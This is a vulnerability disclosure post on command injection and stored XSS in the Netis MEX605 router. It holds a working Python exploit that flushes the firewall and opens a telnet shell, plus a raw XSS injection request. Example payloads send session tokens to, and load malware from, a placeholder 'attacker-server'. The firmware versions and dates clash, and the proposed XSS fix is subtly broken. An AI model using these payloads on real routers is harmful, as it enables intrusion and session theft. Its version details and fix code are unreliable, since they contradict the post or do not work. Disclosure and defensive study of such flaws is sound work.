Skip to content
cveiotroutercommand-injectionxssembeddednetwork-security

Netis MEX605: Command Injection and XSS Vulnerability Analysis

9 min read

Summary

This research documents two vulnerabilities found in the Netis MEX605 router (firmware v2.00.06). Both vulnerabilities stem from insufficient input validation and can be exploited by an authenticated attacker to achieve arbitrary command execution and session token theft. The vulnerabilities affect the router's web-based management interface, accessed via 192.168.1.1.

Assigned CVEs: CVE-2024-33793 (ping command injection, #1 below) and CVE-2024-33791 (XSS, #2 below). A third issue from the same research, OS command injection via the tracert page, was assigned CVE-2024-33792 and is not covered in this post.


Vulnerability #1: OS Command Injection via the Ping Diagnostic Tool

Target

  • Device: Netis MEX605 router
  • Firmware version: 2.00.05
  • Vulnerability type: OS Command Injection (CWE-78)

Overview

The diagnostic ping utility on the Netis MEX605 router does not properly handle user input for IP addresses and domain names. This allows an authenticated attacker to inject arbitrary shell commands that execute with the privileges of the web server process. The vulnerable functionality is exposed through the router's web interface, under Advanced Settings -> Diagnosis.

Root Cause Analysis

The vulnerability stems from insufficient input validation across multiple layers.

Frontend (/www/js/diagnosis.js, line 9):

diagnostic_start: function() {
    var me = this;
    var obj = me.setPingData();  // [1] collect user input
 
    if(obj == false) {
        return false;
    }
 
    if(obj.command == "ping") {
        var t1 = {"jsonrpc": "2.0", "id": 20, "method": "call", 
                  "params": [localStorage.getItem('token_id'), 
                            "network_tools", "tools_ping", obj]};  // [2] pass unvalidated obj
    }
 
    t1 = JSON.stringify(t1);
    $("#diagnosis_form").attr("command", obj);
 
    request({
        url: "/ubus",
        data: t1  // [3] sent to backend
    }).done(function(data) {
        if(data.result != 0) {
            $("#log-cnt").val(base64decode(data.result[1]["result_buf"]));
        }
    });
}

Backend (/www/cgi-bin/network_tools, line 42):

function ping_start() {
    ping_end
    ping $1 -c $2 -s $3 > /tmp/ping.txt&  # [4] direct command substitution
}

The core issue is that the obj parameter — which contains user-supplied input — is passed to the backend without filtering, and is then used in a shell command context without proper escaping.

Exploitation

An authenticated attacker can inject shell metacharacters (backticks, semicolons, pipes) into the ping URL parameter to execute arbitrary commands.

Proof of Concept (PoC):

import requests
import json
 
url = 'http://192.168.1.1/ubus'
session = requests.Session()
 
# Step 1: Authenticate
login_data = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "call",
    "params": [
        "00000000000000000000000000000000",
        "session",
        "login",
        {"username": "admin", "password": "Coresec2011@"}
    ]
}
 
response = session.post(url, data=json.dumps(login_data))
sess = json.loads(response.text)
session_token = sess["result"][1]['ubus_rpc_session']
 
# Step 2: Execute arbitrary commands via ping injection
ping_data = {
    "jsonrpc": "2.0",
    "id": 20,
    "method": "call",
    "params": [
        session_token,
        "network_tools",
        "tools_ping",
        {
            "command": "ping",
            "url": "192.168.1.1`iptables -F;/usr/sbin/telnetd -l /bin/sh`",
            "count": 5,
            "size": 64,
            "action": "start"
        }
    ]
}
 
response = session.post(url, data=json.dumps(ping_data))
print(response.text)

In this example, the injected command iptables -F;/usr/sbin/telnetd -l /bin/sh executes with the privileges of the web server. The backtick syntax ensures command substitution occurs even inside the ping call.

Impact

  • Arbitrary command execution: An authenticated attacker gains the ability to execute any command available to the web server process
  • System compromise: the command can be used to:
    • disable firewall rules (iptables -F)
    • start an unauthorized service (e.g., a telnet daemon)
    • modify router configuration
    • exfiltrate sensitive data
    • pivot to internal network devices
  • Severity: Critical (requires authentication, but leads to full system compromise)

Vulnerability #2: DOM-Based XSS in NTP Server Configuration

Target

  • Device: Netis MEX605 router
  • Firmware version: 2.00.05
  • Vulnerability type: Cross-Site Scripting - DOM-Based (CWE-79)

Overview

The time settings configuration page on the Netis MEX605 router does not properly handle the NTP server domain name. This allows an authenticated attacker to inject arbitrary JavaScript that executes in the context of the router's web interface, potentially leading to session token theft and further attacks.

Root Cause Analysis

The vulnerability arises from several components working together to process unsanitized input.

Configuration store (/etc/config/system):

config timeserver 'ntp'
    option enable_server '0'
    option enabled '1'
    list server '0.openwrt.pool.ntp.org"<script>alert(localStorage.getItem("token_id"))</script>'
    list server '1.openwrt.pool.ntp.org'
    list server '2.openwrt.pool.ntp.org'
    list server '3.openwrt.pool.ntp.org'

Frontend input handler (/www/js/timeSetting.js, line 180):

function submitNTP() {
    var eb = $(':radio[name="get_time_mode0"]:checked').val();
    var server = []
    
    if(eb == 1) {  // NTP mode selected
        for(var i = 0; i < 4; i++) {
            var a = $(".editInput").eq(i).val();
            if(a) {
                server.push(a);  // collect unvalidated input
            }
        }
        
        if(server.length > 0 && server.length != 4) {
            return;
        }
        
        var set3 = {"jsonrpc": "2.0", "id": 19, "method": "call", 
                   "params": [localStorage.getItem('token_id'), 
                             "uci", "set", 
                             {"config": "system", "type": "timeserver",
                              "values": {"server": server, "enabled": eb}}]};  // [3] send server array
        set3 = JSON.stringify(set3);
        
        $.when(setDataFn(set1), setDataFn(set3)).then(function(data1, data) {
            data1 = JSON.stringify(data1);
            data1 = eval("(" + data1 + ")");  // dangerous eval usage
            data = JSON.stringify(data);
            data = eval("(" + data + ")");   // [4] another unsafe eval
        });
    }
}

Frontend data retrieval (/www/js/timeSetting.js, line 101):

function getTimeZone() {
    var a1 = '{"jsonrpc": "2.0", "id": 18, "method": "call", 
             "params": ["' + localStorage.getItem('token_id') + 
             '", "uci", "get", {"config": "system"}]}'
    
    request({
        url: "/ubus",
        data: a1
    }).done(function(data) {
        data = JSON.stringify(data);
        data = eval("(" + data + ")");  // [5] unsafe eval on retrieved config
        
        if(check_data(data)) {
            handleTable(data.result[1].values.ntp.server);  // render data into the DOM
            change_get_time_mode(data.result[1].values.ntp.enabled);
            $("#time_zone_sel").val(data.result[1].values.cfg01e48a.timezone);
        }
    });
}

Vulnerable DOM rendering:

<td>
    <input class="f-border editInput" onblur="changeInput(this)" 
           value="0.openwrt.pool.ntp.org&quot;">
    <script>alert(localStorage.getItem("token_id"))</script>&gt;  <!-- [6] injected script executes -->
</td>

The core issues are:

  1. No input validation on the NTP server domain name
  2. Use of eval() to parse JSON responses (highly dangerous)
  3. Data retrieved from configuration is inserted directly into the DOM without processing
  4. No output encoding when rendering user-supplied data in an HTML context

Exploitation

HTTP request injecting the XSS payload:

POST /ubus HTTP/1.1
Host: 192.168.1.1
Content-Length: 275
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.1
Referer: http://192.168.1.1/timeSetting.html
Connection: close
 
{"jsonrpc":"2.0","id":19,"method":"call",
 "params":["SESSION_TOKEN","uci","set",
 {"config":"system","type":"timeserver",
  "values":{"server":["\"<script>alert(localStorage.getItem('token_id'))</script>",
                      "1.openwrt.pool.ntp.org",
                      "2.openwrt.pool.ntp.org",
                      "3.openwrt.pool.ntp.org"],
            "enabled":"1"}}]}

Response:

HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 38
 
{"jsonrpc":"2.0","id":19,"result":[0]}

After this request, when an administrator revisits the time settings page, the injected JavaScript payload executes in their browser context. This allows the attacker to:

  1. Steal the session token: localStorage.getItem('token_id')
  2. Escalate privileges: use the stolen token for further attacks
  3. Modify router configuration: without the administrator's knowledge
  4. Perform network reconnaissance: from the router's vantage point

Attack Scenarios

Scenario 1: Session token theft

// Payload stored in the NTP configuration
'"<img src=x onerror="fetch(`/attacker-server/steal?token=${localStorage.getItem('token_id')}`)">'
 
// When the administrator loads the time settings:
// - the script executes
// - the attacker receives the administrator's session token
// - the attacker can impersonate the administrator

Scenario 2: Malicious script distribution

// Payload injects a malicious script
'"<script src="http://attacker-server/malware.js"></script>"'
 
// What the malicious code can do:
// - modify DNS settings
// - inject advertisements
// - capture traffic
// - deploy ransomware

Impact

  • Session hijacking: theft of administrator credentials/tokens
  • Configuration tampering: malicious modification of router settings
  • Network compromise: traffic redirection, performing MITM attacks
  • Malware distribution: injection of malicious scripts or payloads
  • Severity: Critical (requires authentication, but leads to full compromise)

Technical Comparison

Aspect Command Injection XSS
Attack vector ping URL parameter NTP server domain
Execution context OS shell browser/DOM
Privileges required router admin authentication router admin authentication
Immediate impact OS command execution JavaScript execution in browser
Compromise scope entire router system admin session and configuration
Detection difficulty medium (may appear in logs) high (stored payload, no obvious trace)

Recommendations

For users

  1. Upgrade firmware: update to the latest available firmware version
  2. Restrict access: limit access to the router management interface to trusted networks only
  3. Strong credentials: use complex, unique passwords for router administration
  4. Monitor logs: regularly check router logs for suspicious activity

For the manufacturer (Netis)

  1. Input validation: implement strict whitelist validation for:
    • IP addresses and domain names
    • numeric parameters (ping count, packet size)
  2. Output encoding: properly encode all user-supplied data before rendering it as HTML
  3. Prohibit eval() usage: replace all eval() calls with safe JSON parsing (e.g., JSON.parse())
  4. Security review: conduct a comprehensive security audit of the web interface
  5. Update cadence: establish a regular security update schedule
  6. Parameterized commands: use language-specific safe APIs instead of direct command substitution

Example code fixes

Command injection fix:

# Use array syntax to prevent shell injection
function ping_start() {
    local target="$1"
    local count="$2"
    local size="$3"
    
    # input validation
    if ! [[ "$target" =~ ^[0-9a-zA-Z.\-]+$ ]]; then
        echo "Invalid target" >&2
        return 1
    fi
    if ! [[ "$count" =~ ^[0-9]+$ ]]; then
        echo "Invalid count" >&2
        return 1
    fi
    
    ping_end
    ping "$target" -c "$count" -s "$size" > /tmp/ping.txt&
}

XSS fix:

// Use textContent instead of innerHTML
function handleTable(servers) {
    servers.forEach(function(server) {
        // validate the server string
        if(!/^[a-zA-Z0-9.\-]+$/.test(server)) {
            console.error("Invalid server hostname");
            return;
        }
        
        var td = document.createElement('td');
        var input = document.createElement('input');
        
        // use textContent instead of innerHTML
        input.textContent = server;
        input.className = 'f-border editInput';
        td.appendChild(input);
    });
}
 
// Use JSON.parse() instead of eval()
request({
    url: "/ubus",
    data: a1
}).done(function(data) {
    try {
        var parsed = JSON.parse(JSON.stringify(data));
        if(check_data(parsed)) {
            handleTable(parsed.result[1].values.ntp.server);
        }
    } catch(e) {
        console.error("JSON parsing failed:", e);
    }
});

Conclusion

The Netis MEX605 router contains serious security vulnerabilities that allow an authenticated attacker to achieve arbitrary command execution and session hijacking. Both vulnerabilities stem from a fundamental absence of secure coding practices:

  1. Insufficient input validation at application boundaries
  2. Lack of output encoding when rendering untrusted data
  3. Dangerous use of eval() for data processing
  4. Direct construction of shell commands without parameterization

These vulnerabilities illustrate the importance of security-focused development practices for embedded IoT devices. Firmware for consumer network equipment must also follow secure coding principles, including input validation, output encoding, and avoiding dangerous language features.


References

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • OWASP Top 10 - A03:2021 Injection
  • OWASP Top 10 - A07:2021 Cross-Site Scripting (XSS)

Disclosure Information

Discovered by: CoreSecurity OT Research Team
Device: Netis MEX605 router
Firmware version: 2.00.05
Year discovered: 2021


This research is provided for educational and defensive security purposes. Unauthorized access to computer systems is illegal.